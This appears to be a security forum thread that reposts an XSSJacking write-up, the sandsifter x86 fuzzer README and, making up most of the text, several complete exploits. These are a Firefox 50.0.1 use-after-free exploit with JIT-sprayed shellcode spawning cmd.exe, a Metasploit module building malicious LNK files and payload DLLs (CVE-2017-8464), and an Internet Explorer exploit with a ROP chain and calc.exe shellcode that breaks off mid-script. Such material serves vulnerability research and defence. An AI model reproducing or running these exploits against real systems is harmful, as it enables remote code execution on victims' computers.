XSSJacking This is an attack that can trigger Self-XSS if the page in question is also vulnerable to Clickjacking. Self-XSS is a type of XSS that typically can only be triggered by a user typing in an XSS payload which triggers on themselves. This can be DOM based, or set in a field only settable and viewable by the one user. Clickjacking, is an attack that frames a website of a logged in user, typically sets the opacity of the frame to 0, and forces a victim to interact with their account, on a different website, unbeknownst to them. They are both often excluded from bug bounty payouts. Here I will show a relatively practical way to execute XSS payloads on sites vulnerable to both conditions How it works This attack leverages Pastejacking to force users to paste XSS payloads into text fields framed from other domains. These frames can be redressed, made invisible, and overlayed ontop of other UI elements, making the user think they're interacting with another website. Demo In this first site, there is a big input field that is vulnerable to Self-XSS https://security.love/XSSJacking To restrict people running Javascript on my domain, I have simplified the XSS to only pop an alert if <script>alert(1)</script> is entered into the field. In this second site, https://security.love/XSSJacking/index2.html I have set up a scenario enticing people to copy paste things. Specifically, I've told a user to enter their email, and then repeat the email address on the next line. If the victim is anything like me, they will likely type their email once, copy it, and then paste it into the second field. This is where the Pastejacking comes in. After the copy, the contents of their clipboard get overwritten with <script>alert(1)</script> The second email field is actually a cropped Iframe of the vulnerable site. When the victim goes to paste their email into the field, they'll actually paste the script tag, and trigger the XSS on the victim's domain Conclusion Though Clickjacking and Self-XSS are typically excluded from bug bounties, when both vulnerabilities are present, it isn't too difficult to craft a payload that forces the XSS to trigger on the victim. Sursa: https://github.com/dxa4481/XSSJacking
-
s a n d s i f t e r : the x86 processor fuzzer Overview The sandsifter audits x86 processors for hidden instructions and hardware bugs, by systematically generating machine code to search through a processor's instruction set, and monitoring execution for anomalies. Sandsifter has uncovered secret processor instructions from every major vendor; ubiquitous software bugs in disassemblers, assemblers, and emulators; flaws in enterprise hypervisors; and both benign and security-critical hardware bugs in x86 chips. With the multitude of x86 processors in existence, the goal of the tool is to enable users to check their own systems for hidden instructions and bugs. To run a basic audit against your processor: sudo ./sifter.py --unk --dis --len --sync --tick -- -P1 -t The computer is systematically scanned for anomalous instructions. In the upper half, you can view the instructions that the sandsifter is currently testing on the processor. In the bottom half, the sandsifter reports anomalies it finds. The search will take from a few hours to a few days, depending on the speed of and complexity of your processor. When it is complete, summarize the results: ./summarize.py data/log Typically, several million undocumented instructions on your processor will be found, but these generally fall into a small number of different groups. After binning the anomalies, the summarize tool attempts to assign each instruction to an issue category: Software bug (for example, a bug in your hypervisor or disassembler), Hardware bug (a bug in your CPU), or Undocumented instruction (an instruction that exists in the processor, but is not acknowledged by the manufacturer) Press 'Q' to quit and obtain a text based summary of the system scan: The results of a scan can sometimes be difficult for the tools to automatically classify, and may require manual analysis. For help analyzing your results, feel free to send the ./data/log file to xoreaxeaxeax@gmail.com. No personal information, other than the processor make, model, and revision (from /proc/cpuinfo) are included in this log. Results Scanning with the sandsifter has uncovered undocumented processor features across dozens of opcode categories, flaws in enterprise hypervisors, bugs in nearly every major disassembly and emulation tool, and critical hardware bugs opening security vulnerabilities in the processor itself. Details of the results can be found in the project whitepaper. Building Sandsifter requires first installing the Capstone disassembler: http://www.capstone-engine.org/ Sandsifter can be built with: make and is then run with sudo ./sifter.py --unk --dis --len --sync --tick -- -P1 -t Flags Flags are passed to the sifter with --flag, and to the injector with -- -f. Example: sudo ./sifter.py --unk --dis --len --sync --tick -- -P1 -t Sifter flags: --len - search for length differences in all instructions (instructions that executed differently than the disassembler expected, or did not exist when the disassembler expected them to --dis - search for length differences in valid instructions (instructions that executed differently than the disassembler expected) --unk - search for unknown instructions (instructions that the disassembler doesn't know about but successfully execute) --ill - the inverse of --unk, search for invalid disassemblies (instructions that do not successfully execute but that the disassembler acknowledges) --tick - periodically write the current instruction to disk --save - save search progress on exit --resume - resume search from last saved state --sync - write search results to disk as they are found --low-mem - do not store results in memory Injector flags: -b - mode: brute force -r - mode: randomized fuzzing -t - mode: tunneled fuzzing -d - mode: externally directed fuzzing -R - raw output mode -T - text output mode -x - write periodic progress to stderr -0 - allow null dereference (requires sudo) -D - allow duplicate prefixes -N - no nx bit support -s seed - in random search, seed value -B brute_depth - in brute search, maximum search depth -P max_prefix - maximum number of prefixes to search -i instruction - instruction at which to start search (inclusive) -e instruction - instruction at which to end search (exclusive) -c core - core on which to perform search -X blacklist - blacklist the specified instruction -j jobs - number of simultaneous jobs to run -l range_bytes - number of base instruction bytes in each sub range Keys m: Mode - change the search mode (brute force, random, or tunnel) for the sifter q: Quit - exit the sifter p: Pause - pause or unpause the search sudo For best results, the tool should be run as the root user. This is necessary so that the process can map into memory a page at address 0, which requires root permissions. This page prevents many instructions from segfaulting on memory accesses, which allows a more accurate fault analysis. Legacy systems For scanning much older systems (i586 class processors, low memory systems), pass the --low-mem flag to the sifter and the -N flag to the injector: sudo ./sifter.py --unk --dis --len --sync --tick --low-mem -- -P1 -t -N If you observe your scans completing too quickly (for example, a scan completes in seconds), it is typically because these flags are required for the processor you are scanning. README TODO algorithms: random tunneling brute driven/mutator detailed results enumeration screenshots of bug types, final results grep ./injector 32 and 64 bit installs prefixes and limitations installing capstone help terminal colors (export TERM='xterm-256color') shrink screen to fit example of targetted fuzzing References A whitepaper describing the approach is here. Slides from the Black Hat 2017 presentation are here Sursa: https://github.com/xoreaxeaxeax/sandsifter Dupa cum ziceam si in alt topic, asta e "Hacking" in adevaratul sens al cuvantului. Poate mai evoluam si noi si trecem mai departe de <script>alert(1)</script> sau ' union select 1,2,3---
-
- 2
-
-
<!DOCTYPE HTML> <!-- FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375) PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day) Tested on: Release 50.0.1 32-bit - Windows 8.1 / Windows 10 https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe Howto: 1) serve PoC over network and open it in Firefox 50.0.1 32-bit 2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe A successfull exploit attempt should pop cmd.exe Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/ (C) Rh0 Jul. 13, 2017 --> <script async> function asm_js_module(){ "use asm"; /* huge jitted nop sled */ function payload_code(){ var val = 0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; /* 3 byte VirtualAlloc RWX stager */ val = (val + 0xa890db31)|0; val = (val + 0xa89030b3)|0; val = (val + 0xa81b8b64)|0; val = (val + 0xa80c5b8b)|0; val = (val + 0xa81c5b8b)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa8904c4c)|0; val = (val + 0xa8902eb1)|0; val = (val + 0xa85144b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8903233)|0; val = (val + 0xa89045b1)|0; val = (val + 0xa8514cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8904e52)|0; val = (val + 0xa8904bb1)|0; val = (val + 0xa85145b5)|0; val = (val + 0xa8590e6a)|0; val = (val + 0xa84fe789)|0; val = (val + 0xa8086b8b)|0; val = (val + 0xa820738b)|0; val = (val + 0xa8471b8b)|0; val = (val + 0xa82ae349)|0; val = (val + 0xa890c031)|0; val = (val + 0xa890ad66)|0; val = (val + 0xa89c613c)|0; val = (val + 0xa8077c9d)|0; val = (val + 0xa890202c)|0; val = (val + 0xa89c073a)|0; val = (val + 0xa8d7749d)|0; val = (val + 0xa890bdeb)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa890636f)|0; val = (val + 0xa8906cb1)|0; val = (val + 0xa8516cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa890416c)|0; val = (val + 0xa89075b1)|0; val = (val + 0xa85161b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8907472)|0; val = (val + 0xa89056b1)|0; val = (val + 0xa85169b5)|0; val = (val + 0xa890eb89)|0; val = (val + 0xa83cc583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa878c583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa820458b)|0; val = (val + 0xa890d801)|0; val = (val + 0xa890d231)|0; val = (val + 0xa890e789)|0; val = (val + 0xa8590d6a)|0; val = (val + 0xa810348b)|0; val = (val + 0xa890de01)|0; val = (val + 0xa890a6f3)|0; val = (val + 0xa8900de3)|0; val = (val + 0xa804c283)|0; val = (val + 0xa890dbeb)|0; val = (val + 0xa8247d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890ead1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa890d231)|0; val = (val + 0xa8178b66)|0; val = (val + 0xa81c7d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa802e2c1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa8903f8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890406a)|0; val = (val + 0xa890c031)|0; val = (val + 0xa85030b4)|0; val = (val + 0xa85010b4)|0; val = (val + 0xa890006a)|0; val = (val + 0xa890d7ff)|0; val = (val + 0xa890c931)|0; val = (val + 0xa89000b5)|0; val = (val + 0xa890c3b1)|0; val = (val + 0xa890ebd9)|0; val = (val + 0xa82434d9)|0; val = (val + 0xa890e689)|0; val = (val + 0xa80cc683)|0; val = (val + 0xa890368b)|0; val = (val + 0xa85fc683)|0; val = (val + 0xa890c789)|0; val = (val + 0xa81e8b66)|0; val = (val + 0xa81f8966)|0; val = (val + 0xa802c683)|0; val = (val + 0xa802c783)|0; val = (val + 0xa8901e8a)|0; val = (val + 0xa8901f88)|0; val = (val + 0xa803c683)|0; val = (val + 0xa801c783)|0; val = (val + 0xa803e983)|0; val = (val + 0xa89008e3)|0; val = (val + 0xa890cceb)|0; val = (val + 0xa890e0ff)|0; val = (val + 0xa824248d)|0; /* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */ val = (val + 0xa882e8fc)|0; val = (val + 0xa8000000)|0; val = (val + 0xa8e58960)|0; val = (val + 0xa864c031)|0; val = (val + 0xa830508b)|0; val = (val + 0xa80c528b)|0; val = (val + 0xa814528b)|0; val = (val + 0xa828728b)|0; val = (val + 0xa84ab70f)|0; val = (val + 0xa8ff3126)|0; val = (val + 0xa8613cac)|0; val = (val + 0xa82c027c)|0; val = (val + 0xa8cfc120)|0; val = (val + 0xa8c7010d)|0; val = (val + 0xa852f2e2)|0; val = (val + 0xa8528b57)|0; val = (val + 0xa84a8b10)|0; val = (val + 0xa84c8b3c)|0; val = (val + 0xa8e37811)|0; val = (val + 0xa8d10148)|0; val = (val + 0xa8598b51)|0; val = (val + 0xa8d30120)|0; val = (val + 0xa818498b)|0; val = (val + 0xa8493ae3)|0; val = (val + 0xa88b348b)|0; val = (val + 0xa831d601)|0; val = (val + 0xa8c1acff)|0; val = (val + 0xa8010dcf)|0; val = (val + 0xa8e038c7)|0; val = (val + 0xa803f675)|0; val = (val + 0xa83bf87d)|0; val = (val + 0xa875247d)|0; val = (val + 0xa88b58e4)|0; val = (val + 0xa8012458)|0; val = (val + 0xa88b66d3)|0; val = (val + 0xa88b4b0c)|0; val = (val + 0xa8011c58)|0; val = (val + 0xa8048bd3)|0; val = (val + 0xa8d0018b)|0; val = (val + 0xa8244489)|0; val = (val + 0xa85b5b24)|0; val = (val + 0xa85a5961)|0; val = (val + 0xa8e0ff51)|0; val = (val + 0xa85a5f5f)|0; val = (val + 0xa8eb128b)|0; val = (val + 0xa86a5d8d)|0; val = (val + 0xa8858d01)|0; val = (val + 0xa80000b2)|0; val = (val + 0xa8685000)|0; val = (val + 0xa86f8b31)|0; val = (val + 0xa8d5ff87)|0; val = (val + 0xa80efebb)|0; val = (val + 0xa868ea32)|0; val = (val + 0xa8bd95a6)|0; val = (val + 0xa8d5ff9d)|0; val = (val + 0xa87c063c)|0; val = (val + 0xa8fb800a)|0; val = (val + 0xa80575e0)|0; val = (val + 0xa81347bb)|0; val = (val + 0xa86a6f72)|0; val = (val + 0xa8ff5300)|0; val = (val + 0xa86d63d5)|0; val = (val + 0xa8652e64)|0; val = (val + 0xa8006578)|0; val = (val + 0xa8909090)|0; return val|0; } return payload_code } </script> <script> function spray_asm_js_modules(){ sprayed = [] for (var i=0; i<= 0x1800; i++){ sprayed[i] = asm_js_module() } } /* heap spray inspired by skylined */ function heap_spray_fake_objects(){ var heap = [] var current_address = 0x08000000 var block_size = 0x1000000 while(current_address < object_target_address){ var heap_block = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* fake object target = ecx + 0x88 and fake vtable*/ heap_block[offset/4 + 0x00/4] = object_target_address /* self + 4 */ heap_block[offset/4 + 0x14/4] = object_target_address /* the path to EIP */ heap_block[offset/4 + 0x18/4] = 4 heap_block[offset/4 + 0xac/4] = 1 /* fake virtual function --> JIT target */ heap_block[offset/4 + 0x138/4] = jit_payload_target } heap.push(heap_block) current_address += block_size } return heap } /* address of fake object */ object_target_address = 0x30300000 /* address of our jitted shellcode */ jit_payload_target = 0x1c1c0054 /* ASM.JS JIT Spray */ spray_asm_js_modules() /* Spray fake objects */ heap = heap_spray_fake_objects() /* -----> */ /* bug trigger ripped from bugzilla report */ var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};'); worker.postMessage("zero"); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x1000); var heap100 = new Array(0x4000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var offset = 0x88 // Firefox 50.0.1 var exploit = function(){ var u32 = new Uint32Array(block80) u32[0x4] = arrBase - offset; u32[0xa] = arrBase - offset; u32[0x10] = arrBase - offset; for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = heap80.length/2; i < heap80.length; i++) { heap80[i] = block80.slice(0) } for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') containerA.pauseAnimations(); } worker.onmessage = function(e) {arrBase=object_target_address; exploit()} //worker.onmessage = function(e) {arrBase=0x30300000; exploit()} var trigger = function(){ containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idA = "ia"; var idC = "ic"; animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = trigger; setInterval("window.location.reload()", 3000) /* <----- */ </script> Sursa: https://www.exploit-db.com/exploits/42327/
-
Microsoft Windows - LNK Shortcut File Code Execution (Metasploit)
Nytro posted a topic in Exploituri
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE attr_accessor :exploit_dll_name def initialize(info = {}) super(update_info(info, 'Name' => 'LNK Remote Code Execution Vulnerability', 'Description' => %q{ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except in an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. }, 'Author' => [ 'Uncredited', # vulnerability discovery 'Yorick Koster' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-8464'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'], ['URL', 'http://paper.seebug.org/357/'], # writeup ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, # Default target is 64-bit 'DisclosureDate' => 'Jun 13 2017')) register_advanced_options( [ OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]) ]) end def exploit dll = generate_payload_dll dll_name = "#{rand_text_alpha(16)}.dll" dll_path = store_file(dll, dll_name) print_status("#{dll_path} created copy it to the root folder of the target USB drive") # HACK the vulnerability doesn't appear to work with UNC paths # Create LNK files to different drives instead 'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i| lnk = generate_link("#{i}:\\#{dll_name}") lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk") print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}") end end def generate_link(path) path << "\x00" display_name = "Flash Player\x00" # LNK Display Name comment = "\x00" # Control Panel Applet ItemID with our DLL cpl_applet = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') cpl_applet << [path.length].pack('v') cpl_applet << [display_name.length].pack('v') cpl_applet << path.unpack('C*').pack('v*') cpl_applet << display_name.unpack('C*').pack('v*') cpl_applet << comment.unpack('C*').pack('v*') # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046 0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode) 0x00, 0x00, 0x00, 0x00, # FileAttributes 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime 0x00, 0x00, 0x00, 0x00, # FileSize 0x00, 0x00, 0x00, 0x00, # IconIndex 0x00, 0x00, 0x00, 0x00, # ShowCommand 0x00, 0x00, # HotKey 0x00, 0x00, # Reserved1 0x00, 0x00, 0x00, 0x00, # Reserved2 0x00, 0x00, 0x00, 0x00 # Reserved3 ].pack('C*') # IDList idlist_data = '' idlist_data << [0x12 + 2].pack('v') # ItemIDSize idlist_data << [ # This PC 0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') # ItemIDSize idlist_data << [ # All Control Panel Items 0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [cpl_applet.length + 2].pack('v') idlist_data << cpl_applet idlist_data << [0x00].pack('v') # TerminalID # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData # SpecialFolderDataBlock ret << [ 0x10, 0x00, 0x00, 0x00, # BlockSize 0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005 0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel) 0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList ].pack('C*') # TerminalBlock ret << [0x00, 0x00, 0x00, 0x00].pack('V') ret end # Store the file in the MSF local directory (eg, /root/.msf4/local/) def store_file(data, filename) ltype = "exploit.fileformat.#{self.shortname}" if ! ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end if filename and not filename.empty? if filename =~ /(.*)\.(.*)/ ext = $2 fname = $1 else fname = filename end else fname = "local_#{Time.now.utc.to_i}" end fname = ::File.split(fname).last fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') fname << ".#{ext}" path = File.join("#{Msf::Config.local_directory}/", fname) full_path = ::File.expand_path(path) File.open(full_path, "wb") { |fd| fd.write(data) } full_path.dup end end Sursa: https://www.exploit-db.com/exploits/42382/ -
<!DOCTYPE html> <html> <head> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> var base_leaked_addr = ""; function infoleak() { var textarea = document.getElementById("textarea"); var frame = document.createElement("iframe"); textarea.appendChild(frame); frame.contentDocument.onreadystatechange = eventhandler; form.reset(); } function eventhandler() { document.getElementById("textarea").defaultValue = "foo"; // Object replaced here // one of the side allocations of the audio element var audioElm = document.createElement("audio"); audioElm.src = "test.mp3"; } function writeu(base, offs) { var res = 0; if (base != 0) { res = base + offs } else { res = offs } res = res.toString(16); while (res.length < 8) res = "0"+res; return "%u"+res.substring(4,8)+"%u"+res.substring(0,4); } function readu(value) { var uc = escape(value); var ucsplit = uc.split('%'); var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', '')); return res; } function spray() { // DEPS technique used here - avoid null bytes var hso = document.createElement("div"); base_leaked_addr = parseInt(base_leaked_addr,16); var junk = unescape("%u0e0e%u0e0e"); while (junk.length < 0x1000) junk += junk; var rop = unescape( writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffff) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x4e385) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2030f) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(0,0xf07645d5) + writeu(base_leaked_addr,0x6e002) + writeu(0,0x41414141) + writeu(base_leaked_addr,0xaebc) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffbf) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x6361b) + writeu(base_leaked_addr,0x432cf) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x5cef1) + writeu(base_leaked_addr,0x4177e) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x1244) + writeu(base_leaked_addr,0xa819) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2720b) + "" ); /* Original VirtualAlloc ROP generated with mona.py - www.corelan.be Library used "propsys.dll", part of the Windows Search functionality (?) and last updated Nov 2010. I think it's a good target for our needs. Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction "%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll] "%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx) "%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] "%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] "%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] "%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll] "%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll] */ // Move ESP to the VirtualAlloc ROP chain var stack_shift_rop = unescape( writeu(0,235802130) + writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x0e0e1258) + writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + ""); // root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le // ~2854 bytes max var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" + ""); var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** 